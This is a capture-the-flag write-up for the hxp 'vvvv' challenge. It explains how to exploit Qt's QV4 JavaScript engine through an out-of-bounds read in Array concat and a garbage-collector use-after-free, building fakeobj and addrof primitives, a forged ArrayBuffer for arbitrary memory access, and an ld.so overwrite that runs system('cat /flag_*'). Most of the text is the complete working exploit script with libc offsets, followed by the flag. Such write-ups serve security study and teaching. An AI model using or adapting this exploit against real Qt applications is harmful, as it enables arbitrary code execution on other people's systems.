The other other JavaScript engine.
Download: vvvv-cc9085ea51e239dc.tar.xz (11.3 KiB)
Connection:nc 88.198.156.11 13336
Qt ships with a custom JavaScript engine called QV4, in which it runs all of its QML-related JS code (it also ships with JavaScriptCore, because of QtWebKit, and with V8 for QtWebEngine, but because those both form parts of major browsers, QV4 is the less known target here).
A developer build of QV4 will generally include the qmljs
tool that runs
JavaScript files directly, even without any of the QML features. This is the
mode that is used here to avoid any of Qt’s “special features” causing issues
(after all, there are fun things like Qt.openUrlExternally
that we would
need to take care of if QML was enabled). Note that there are still a few
extensions present (e.g. String.prototype.arg
), but a cursory inspection
reveals no straightforward vulnerabilities.
You should also know that the release build of Qt does not check Q_ASSERT
statements. This may come in handy, although it is not always necessary.
I modified Fuzzilli to
interface with qmljs
in order to find the bug(s) used here. My fork is
available here.
Unfortunately,qmljs
also crashes for pretty much any operation on overly
large arrays (especially includes
), and whenever converting a recursive
array to a string, so the fuzzer spits out a whole lot of crashes with
little useful content. (My implementation also appears to not cleanly reset
the engine after every test, but thankfully the fuzzer separates reproducible
and non-reproducible crashes. Nevertheless, there are some crashes that do
not occur when run manually…). I also found some bugs manually that result
in an overflow on the VM stack, but the guard pages combined with an
almost-instant crash mean that I found no way to exploit these crashes.
The exploit follows the “standard” path via fakeobj
and addrof
primitives
(see this),
by creating a user-controlled ArrayBuffer
with a manipulated size that
allows read and write access to arbitrary memory locations.
Unfortunately, QV4’s lack of optimizations make this remarkably annoying.
Unlike in JSC or V8, there is only one way that objects are represented in
memory: as tagged values. A pointer will almost always have a different
tag in memory than a double, so converting between the two is difficult.
The way this works is documented in qv4value_p.h
: On a normal 64-bit
machine (excluding IA64, but that can hardly be considered “normal” nowadays)
the actual maximum pointer length is 48 bits, so QV4 generally uses the
top 16 bits to indicate the type of the value stored. For pointers, it just
leaves these 16 bits empty. Because that overlaps with valid IEEE754 doubles,
it normally mangles doubles by XORing them with 0xffff800000000000
.
One odd place in which this doesn’t happen is for the Number
object
(internally represented by a QV4::NumberObject
), which ends up storing its
value as a C++ double
, rather than the mangled form normally used by QV4.
This allows us to combine a read of uninitialized (or rather non-cleared)
memory into a quick fakeobj
primitive (note that running garbage collection
after creating the fake object even by accident will result in a crash).
Such a read occurs when concat
enating an array with a manipulated length
(set by assigning to its length
property) to a normal array. This (unlike
the normal array access) does not verify that enough space was allocated to
contain entries for the updated length, so when copying objects from the
modified array into the new array, it reads outside of the bounds of the
array’s storage and copies heap objects (allocated with QV4::MemoryManager
,
so no fancy heap exploitation yet) from previous allocations to the new
array. Creating and copying a few Number
objects (in theory, a single one
should be enough) allows using its double
member to craft a QV4::Value
by
simply accessing the new array at the index it was copied to.
function allocNumbers(addrDouble) {
for (let i = 0; i < 10; ++i) {
// TypedArrays are created on the normal heap :(
// String objects refer to the Heap::String only by reference :(
// Heap::String objects only store a pointer to a QString (which also is UTF16) :(
// DateObject fails on TimeClip :(
// ...but NumberObject will do the job :D
const n = new Number(addrDouble);
}
}
function fakeobj(addrDouble) {
// NB that this fakes an actual QV4::Object at this address, not the underlying heap structure.
// This is somewhat unfortunate because that means that unless you can leak the address of a
// controlled buffer (and control the memory at the faked address), you will not be able to set
// up a valid data pointer.
const v4 = [1337,1337,1337];
const v7 = [1337,1337];
allocNumbers(addrDouble);
v7.length = 1337;
const v9 = v4.concat(v7);
// gc(); // Uncomment this to trigger a crash here. To show the buffer in GDB: f 4; x/1340ag values
var fake = v9[11];
// Unsure if this cleanup is really necessary - GC will crash anyways because of the fakeobj:
for (var i = 0; i < v9.length; ++i)
v9[i] = 1337;
return fake;
}
Unfortunately, this OOB copy/read does not directly lead to a straightforward
way to turn a pointer back into a usable number. Because allocations are
generally sequential (see QV4::BlockAllocator::allocate
), pointers to
objects will almost never point into the newly allocated array space. (At
this point, it may be useful to note that I spent a whole lot of time trying
to find incorrect uses of QV4::Value::doubleValue
or related functions that
would leak even partial addresses, but unfortunately got nowhere. This
includes calls that were only guarded with Q_ASSERT
instead of a proper
conditional. The only really interesting “wrong” use of Q_ASSERT
is in
QV4::Runtime::method_objectLiteral
, but the objects that are accessed there
appear to be generated by the VM, and are not user-controllable. It is also
questionable whether that path would actually be exploitable given that the
function does not directly report the result of the conversion.
Analyzing the source code for the memory manager reveals that there is a way
to obtain an allocation below the current end of the allocated space: If the
allocation is smaller than 224 bytes and the relevant freeBin
contains an
element, it uses that spot instead of the fallback bump allocator. Another
scenario is far less likely: the allocation must hit at the exact time where
the current chunk is out of memory and there is a large enough free block
in any one of the bins. Of course, this strategy requires finding a way to
place an item into one of the bins, and the only way to achieve this is to
run a full GC pass (which thankfully can be triggered by running gc()
from
the JavaScript code).
A GC pass seems fairly simple. It consists of two phases: mark and sweep
(see the source code for QV4::MemoryManager::runGC
). In the marking phase,
the garbage collector iterates through all sorts of objects that it can find
(including objects held by the engine, such as its classes, identifiers, and
compilation units, objects on the stack, and certain persistent objects that
ought to be treated differently), and marks any QV4::Heap::Base
objects
(in general, this will be anything stored on the QV4 heap) by pushing them to
a special MarkStack
. This stack is limited in size, and will be drained
prematurely whenever it reaches that limit, but certainly at the end of the
marking phase. During this draining step, the GC pops items from the mark
stack one by one, and looks up the type-specific marking functions in their
vtable, then instructs the object to mark itself. (This amount of indirection
is a common pattern in QV4, to the detriment of anyone who is actually trying
to understand what is going on). The magic ultimately happens for every heap
item in QV4::Heap::Base::mark
, where the lowest layer of objects is marked.
Each chunk of memory carries a set of bitmaps, in which a slot can be marked
gray or black (there is also a bitmap indicating the start of a new heap
object (the object or in use bitmap), and a bitmap indicating that the
memory slot in question is part of a large allocation of a previous heap
object (the extends bitmap, in which a bit is set to 0 both for free areas
and for the starts of objects). Here, the black bitmap is the most
interesting (the gray bitmap appears to be mostly unused, and the others
just keep track of free space). Objects marked in this phase (or rather their
starting slots, as found in the object bitmap) are added to the black
bitmap. During sweeping, some necessary cleanup of unmarked objects is
performed (such as removing them from WeakSet
instances), before finally
the different allocators are asked to sweep their memory. Again, we deal with
the QV4::BlockAllocator
: During sweeping, it first sweeps each of its
chunks, and partitions them into non-empty and empty chunks. Empty chunks are
freed entirely (and ultimately released to the OS), while non-empty chunks
are instructed to re-build the allocator’s freeBin
list. Sweeping a chunk
looks complicated, but is actually not that bad. All it does, in so much bit
magic, is find entries in the object bitmap that are not set in the black
bitmap. For these objects, it looks up the vtable, and (if appropriate)
destroys them. Finally, it updates the extends bitmap, and copies the black
bitmap over the object bitmap to mark these slots as unused. It is important
to note here that freed memory is not necessarily cleared. Refilling the
free lists occurs in QV4::Chunk::sortIntoBins
. To do so, the GC iterates
over the object and extends bitmaps (in 64-bit blocks, just as for the
chunk sweeping process), finds consecutive zeroes in the bitmap, and adds the
corresponding QV4::HeapItem
to the freeBin
of the correct size. In doing
so, it overwrites the heap item’s first two qwords with a pointer to the next
free item in the freeBin
, and the number of free slots available here.
Using the GC, it is possible to construct a UaF that finally allows leaking
the address of an arbitrary object. In order to achieve this, we construct
the following environment: The target of our OOB copy is followed by three
contiguous heap objects that will be freed simultaneously in order to not
corrupt at least one (each heap object consists of a pointer to its
InternalClass
, a pointer to its MemberData
, and a pointer to its
ArrayData
, followed by any type-specific members; it is important for us to
keep the InternalClass
pointer valid, because otherwise frequently-used
simple operations such as isObject()
will result in a crash). In our case,
the second object will be a QV4::Heap::NumberObject
, containing the actual
value as a C++ double
as its fourth qword. Behind this, then, follows some
other object (presumably an array) that references the number - the copy of
this object will give us access to our UaF. In order to keep the allocation
sizes managable, we insert blocker elements that we keep alive beyond the end
of the function call by returning an array containing these elements. The
next step is to free the objects in question by calling gc()
. Then, the
OOB copy yields a snapshot of a full QV4::Heap::NumberObject
and a
reference to the heap location. We then overlap the freed allocation with a
new array’s QV4::Heap::SimpleArrayData
, reconstruct the NumberObject
, and
replace its double
value with the object in question. That should give us
access to any other object’s address. To avoid crashing on GC, we zero out
both the newly allocated array and the copied array.
function setUpHeap() {
// This may not work reliably, especially after running a lot of code.
// Allocate three heap objects consecutively, and reference them in an array.
// 2261634.5098039214 should end up represented as 0x4141414141414141,
// 156842099844.51764 as 0x4242424242424242. Use this to verify allocations in GDB.
// To subdivide the space into the correct sizes, we use blocker elements that will not
// be freed by the garbage collector.
const n1 = new Number(2261634.5098039214);
const n2 = new Number(2261634.5098039214);
const n3 = new Number(2261634.5098039214);
const blocker1 = new Number(156842099844.51764);
const objs = [n1, n1, n1, n1, n2, n2, n2, n2, n3, n3, n3, n3];
const blocker2 = new Number(156842099844.51764);
// ...and instantly make sure they are no longer referenced, _except_ the blockers.
return [blocker1, blocker2];
}
function addrof(obj) {
const v4 = [1337, 1337, 1337];
const v7 = [1337, 1337];
const blockers = setUpHeap(); // Set up the heap for GC.
gc(); // Collect garbage in order to set up the allocator
v7.length = 1337;
const v9 = v4.concat(v7); // Copy/OOB read
// Create a new array to overlap with the old NumberObject
const overlap = new Array(16);
// Copy the NumberObject back, and overwrite its value with the pointer to the object
for (let i = 0; i < 3; ++i)
overlap[3 + i] = v9[16 + i];
// Overwrite the value with the object in question
overlap[6 /* base (3) + i (3) */] = obj;
// Get the reference to the NumberObject and instantly turn it into a primitive value
const number = v9[57].valueOf();
// Clean up for GC
for (let i = 0; i < v9.length; ++i)
v9[i] = 0;
for (let i = 0; i < overlap.length; ++i)
overlap[i] = 0;
// Return the address
return number;
}
To build the final exploit, we modify the address leak slightly in order to
also include an ArrayBuffer
JavaScript object in the OOB copy. In order
to defeat ASLR, we make the allocation large enough (>= 128 KiB), so that the
underlying QArrayData
(which, unlike the rest of QV4, uses malloc
instead
of falling back to page- and therefore mmap
-based allocators that appear to
come straight from JavaScriptCore) falls back to mmap
too. We can leak the
address of that QArrayData
object (which is just the 24-byte header before
the actual ArrayBuffer
data), and the address of the ArrayBuffer
’s
InternalClass
(which we need to create a “valid” fake object). We also need
some helper functions to deal with 64-bit integers, because unlike modern
browser JS engines, QV4 does not include the BigInt
type.
Setting up the actual object in the ArrayBuffer
is straightforward: We
spoof a QV4::Heap::ArrayBuffer
object at the start of the buffer
(consisting of the leaked internal class, empty member and array data fields,
and a pointer to the next qword in the buffer that will contain a fake
QArrayData
object), and follow that with the QArrayData
(useful tip:
ptype /o QArrayData
in GDB spits out all the types and offsets). In theory,
there should also be an isShared
boolean after the pointer, but its value
doesn’t matter to us, so we just use whatever the QArrayData
puts there…
A QArrayData
contains a reference count (set this large enough so that it
never goes away), the size of the array in bytes (as a signed 32-bit
integer), the size of the allocation in a 31-bit bitfield (from testing, the
alloc
member tends be exactly one larger than the size
, so we use a
maximum size of 0x7ffffffe
), a 4-byte hole, and finally the offset to the
data (which in all but the most general case is just sizeof(QArrayData)
,
i.e. 24). Using fakeobj
(plus some heap massaging in order to make sure the
NumberObject
is actually copied), we obtain the fake QV4::ArrayBuffer
,
and create a Float64Array
and a Uint8Array
for easier handling.
The QArrayData
is perfectly positioned to overwrite into ld.so
(and
indeed is at a constant offset from the same), so we can easily reuse the
Wiedergänger attack by filling
in the function pointer using the Float64Array
, and the argument by using
the Uint8Array
.
Upon termination, qmljs
will now pop a shell or run your favorite command.
We just cat /flag_*
to get the flag.
Here is the full exploit code:
'use strict';
// QV4 does not actually support 64-bit integers, so we need to do some little tricks here
let conversionBuffer = new ArrayBuffer(8);
let conversionF64 = new Float64Array(conversionBuffer);
let conversionU32 = new Uint32Array(conversionBuffer);
let I64 = {
MASK: 0xFFFFFFFF,
from: function (u, l) {
if (l === undefined) {
// I64.from(i32) should be the same as I64.from(0, i32).
l = u;
u = 0;
}
if (u > I64.MASK || u < 0 || l > I64.MASK || l < 0)
throw RangeError('Invalid pieces for I64');
return { upper: u, lower: l };
},
add: function (a, b) {
if (typeof a === "number") a = I64.from(a);
if (typeof b === "number") b = I64.from(b);
let lowerSum = a.lower + b.lower;
let carry = lowerSum > I64.MASK ? 1 : 0;
if (carry) lowerSum = (lowerSum - 1) - I64.MASK;
let upperSum = a.upper + b.upper + carry;
if (upperSum > I64.MASK) upperSum = (upperSum - 1) - I64.MASK;
return I64.from(upperSum, lowerSum);
},
sub: function (a, b) {
if (typeof a === "number") a = I64.from(a);
if (typeof b === "number") b = I64.from(b);
let lowerDiff = a.lower - b.lower;
let borrow = lowerDiff < 0 ? 1 : 0;
if (borrow) lowerDiff = (lowerDiff + 1) + I64.MASK;
let upperDiff = a.upper - b.upper - borrow;
if (upperDiff < 0) upperDiff = (upperDiff + 1) + I64.MASK;
return I64.from(upperDiff, lowerDiff);
},
}
function toF64(i) {
// Flip items around, because little endian, and we want hex to be as natural as possible
conversionU32[0] = i.lower;
conversionU32[1] = i.upper;
return conversionF64[0];
}
function toI64(f64) {
conversionF64[0] = f64;
return I64.from(conversionU32[1], conversionU32[0]);
}
function toHexString(i) {
let upperStr = i.upper.toString(16).padStart(8, '0');
let lowerStr = i.lower.toString(16).padStart(8, '0');
return '0x' + upperStr + lowerStr;
}
// Here are our general-purpose fakeobj() and addrof() primitives, and the helpers for them.
// We don't actually end up using addrof() itself (we have a slightly more specialized version
// further down that does some additional introspection that makes it easier to create a fake
// object), but I left it in anyways for reference.
function allocNumbers(addrDouble) {
for (let i = 0; i < 10; ++i) {
// TypedArrays are created on the normal heap :(
// String objects refer to the Heap::String only by reference :(
// Heap::String objects only store a pointer to a QString (which also is UTF16) :(
// DateObject fails on TimeClip :(
// ...but NumberObject will do the job :D
const n = new Number(addrDouble);
}
}
function fakeobj(addrDouble) {
// NB that this fakes an actual QV4::Object at this address, not the underlying heap structure.
// This is somewhat unfortunate because that means that unless you can leak the address of a
// controlled buffer (and control the memory at the faked address), you will not be able to set
// up a valid data pointer.
const v4 = [1337,1337,1337];
const v7 = [1337,1337];
allocNumbers(addrDouble);
v7.length = 1337;
const v9 = v4.concat(v7);
// gc(); // Uncomment this to trigger a crash here. To show the buffer in GDB: f 4; x/1340ag values
var fake = v9[11];
// Unsure if this cleanup is really necessary - GC will crash anyways because of the fakeobj:
for (var i = 0; i < v9.length; ++i)
v9[i] = 1337;
return fake;
}
function allocateLotsOfStuff(count) {
// To make addrof and fakeobj more reliable, allocate lots of objects of each size in order
// to use up the freebins and go back to bump allocation. Each new array allocates
// a control block of size 0x40, plus space for the array data.
// The allocations are set up in a way that ensures that we use up all possible freebins
// (except the one for a single 0x20 slot, which no object appears to cover, but which is
// not needed for addrof anyways).
let objects = new Array(6 * count);
for (let i = 0; i < 6 * count; i += 6) {
objects[i + 0] = new Number(0); // 0x40
objects[i + 1] = new RegExp('.*'); // 0x60 (+ 0x40)
objects[i + 2] = new Array(8); // 0x80 (+ 0x40)
objects[i + 3] = [0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2]; // 0xa0 (+ 0x40)
objects[i + 4] = new Array(12); // 0xc0 (+ 0x40)
objects[i + 5] = [0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4]; // 0xe0 (+ 0x40)
}
return objects;
}
function setUpHeap() {
// This may not work reliably, especially after running a lot of code.
// Allocate three heap objects consecutively, and reference them in an array.
// 2261634.5098039214 should end up represented as 0x4141414141414141,
// 156842099844.51764 as 0x4242424242424242. Use this to verify allocations in GDB.
// To subdivide the space into the correct sizes, we use blocker elements that will not
// be freed by the garbage collector.
const n1 = new Number(2261634.5098039214);
const n2 = new Number(2261634.5098039214);
const n3 = new Number(2261634.5098039214);
const blocker1 = new Number(156842099844.51764);
const objs = [n1, n1, n1, n1, n2, n2, n2, n2, n3, n3, n3, n3];
const blocker2 = new Number(156842099844.51764);
// ...and instantly make sure they are no longer referenced, _except_ the blockers.
return [blocker1, blocker2];
}
function addrof(obj) {
const v4 = [1337, 1337, 1337];
const v7 = [1337, 1337];
const blockers = setUpHeap(); // Set up the heap for GC.
gc(); // Collect garbage in order to set up the allocator
v7.length = 1337;
const v9 = v4.concat(v7); // Copy/OOB read
// Create a new array to overlap with the old NumberObject
const overlap = new Array(16);
// Copy the NumberObject back, and overwrite its value with the pointer to the object
for (let i = 0; i < 3; ++i)
overlap[3 + i] = v9[16 + i];
// Overwrite the value with the object in question
overlap[6 /* base (3) + i (3) */] = obj;
// Get the reference to the NumberObject and instantly turn it into a primitive value
const number = v9[57].valueOf();
// Clean up for GC
for (let i = 0; i < v9.length; ++i)
v9[i] = 0;
for (let i = 0; i < overlap.length; ++i)
overlap[i] = 0;
// Return the address
return number;
}
// In our exploit, we specifically want the address of the QArrayData backing an ArrayBuffer.
// To make exploitation easier (and avoid the nondeterministic "features" of the allocator),
// we make it large enough to make malloc use mmap instead.
// This duplicates much of addrof.
function mmapBufferAndFindAddress() {
const SIZE_REQUIRED = 128 * 1024; // As long as the total allocation size is larger than 128KiB...
const v4 = [1337, 1337, 1337];
const v7 = [1337, 1337];
const blockers = setUpHeap(); // Set up the heap for GC.
const buffer = new ArrayBuffer(SIZE_REQUIRED); // Place the ArrayBuffer on the heap
gc(); // Collect garbage in order to set up the allocator
v7.length = 1337;
const v9 = v4.concat(v7); // Copy/OOB read
// Create a new array to overlap with the old NumberObject
const overlap = new Array(16);
// Copy the NumberObject back
for (let i = 0; i < 3; ++i)
overlap[3 + i] = v9[16 + i];
// Overwrite the value with the QArrayData pointer of the ArrayBuffer
overlap[6 /* base (3) + i (3) */] = v9[95];
// Get the reference to the NumberObject and instantly turn it into a primitive value
const arrayDataAddr = v9[57].valueOf();
// Do the same thing for the ArrayBuffer's InternalClass
overlap[6] = v9[92];
const internalClassAddr = v9[57].valueOf();
// Clean up for GC
for (let i = 0; i < v9.length; ++i)
v9[i] = 0;
for (let i = 0; i < overlap.length; ++i)
overlap[i] = 0;
// Return the addresses and the buffer
return [buffer, arrayDataAddr, internalClassAddr];
}
function exploit() {
const [buffer, arrayDataAddr, internalClassAddr] = mmapBufferAndFindAddress();
// Create a fake ArrayBuffer object within our buffer.
// The arrayDataAddr points to the actual QArrayData, so our data starts 24 bytes afterwards.
// The pointer to our fake buffer of "unlimited" length has to be another 32 bytes beyond that.
const fakeBufferObjAddr = I64.add(toI64(arrayDataAddr), 24);
const fakeBufferDataAddr = I64.add(fakeBufferObjAddr, 32);
const fakeBufferContentsAddr = I64.add(fakeBufferDataAddr, 24);
const overlay = new Float64Array(buffer);
// Fake buffer object
overlay[0] = internalClassAddr;
overlay[1] = 0.0;
overlay[2] = 0.0;
overlay[3] = toF64(fakeBufferDataAddr);
// Fake QArrayData; NB that size is signed 32 bits
const FAKE_SIZE = 0x7FFFFFFE;
overlay[4] = toF64(I64.from(FAKE_SIZE /* size */, 0x42 /* refcount */));
overlay[5] = toF64(I64.from(0, FAKE_SIZE + 1 /* capacityReserved (1 bit) : alloc (31 bits) */))
overlay[6] = toF64(I64.from(24 /* offset */));
// fakeobj is slightly heap-sensitive too (the NumberObjects need to end up _behind_ the
// OOB copy), so fill up open slots in the heap's freelist.
const heapBlock = allocateLotsOfStuff(8);
// Create fake buffer object and U8 overlay
const fakeBuffer = fakeobj(toF64(fakeBufferObjAddr));
const fakeU8 = new Uint8Array(fakeBuffer);
const fakeF64 = new Float64Array(fakeBuffer);
// Perform Wiedergänger attack. Here is where all the platform-specific constants come in.
const OFFSET_TO_LD = 0x3ecafd8; // This is the only part that is somewhat fragile...
const LD_TO_LIBC = 0x11f0000; // Subtract this.
const LIBC_SYSTEM_OFFSET = 0x491c0;
const LD_FUNCTION_PTR_OFFSET = 0x2bf00;
const LD_ARGUMENT_OFFSET = 0x2b908;
const ldso = I64.add(fakeBufferObjAddr, OFFSET_TO_LD);
const libc = I64.sub(ldso, LD_TO_LIBC);
const system = I64.add(libc, LIBC_SYSTEM_OFFSET);
let fpIndex = I64.sub(I64.add(ldso, LD_FUNCTION_PTR_OFFSET), fakeBufferContentsAddr);
if (fpIndex.upper)
throw new RangeError('Offset is too large to handle');
fpIndex = fpIndex.lower >>> 3; // We use floats to fill this
fakeF64[fpIndex] = toF64(system);
let argIndex = I64.sub(I64.add(ldso, LD_ARGUMENT_OFFSET), fakeBufferContentsAddr);
if (argIndex.upper)
throw new RangeError('Offset is too large to handle');
argIndex = argIndex.lower;
let arg = 'cat /flag_*';
for (let i = 0; i < arg.length; ++i)
fakeU8[argIndex + i] = arg.charCodeAt(i);
fakeU8[argIndex + arg.length] = 0;
}
exploit();
If you host this outside of the Docker container, you will most likely have
to adjust the OFFSET_TO_LD
and LD_TO_LIBC
variables, regardless of whether you use
the same glibc version. If you change the glibc version, you may also need to change
the other constants.
This leaks the flag without any ASLR bruteforcing or other shenanigans (remember that
mmap
allocates memory somewhat sequentially, so that offsets are constant regardless
of ASLR):
hxp{QV4,_JSC,_V8..._Wh4t_0n_34rth_d035_Qt_n33d_THR33_J4v45cr1pt_3n61n35_f0r???}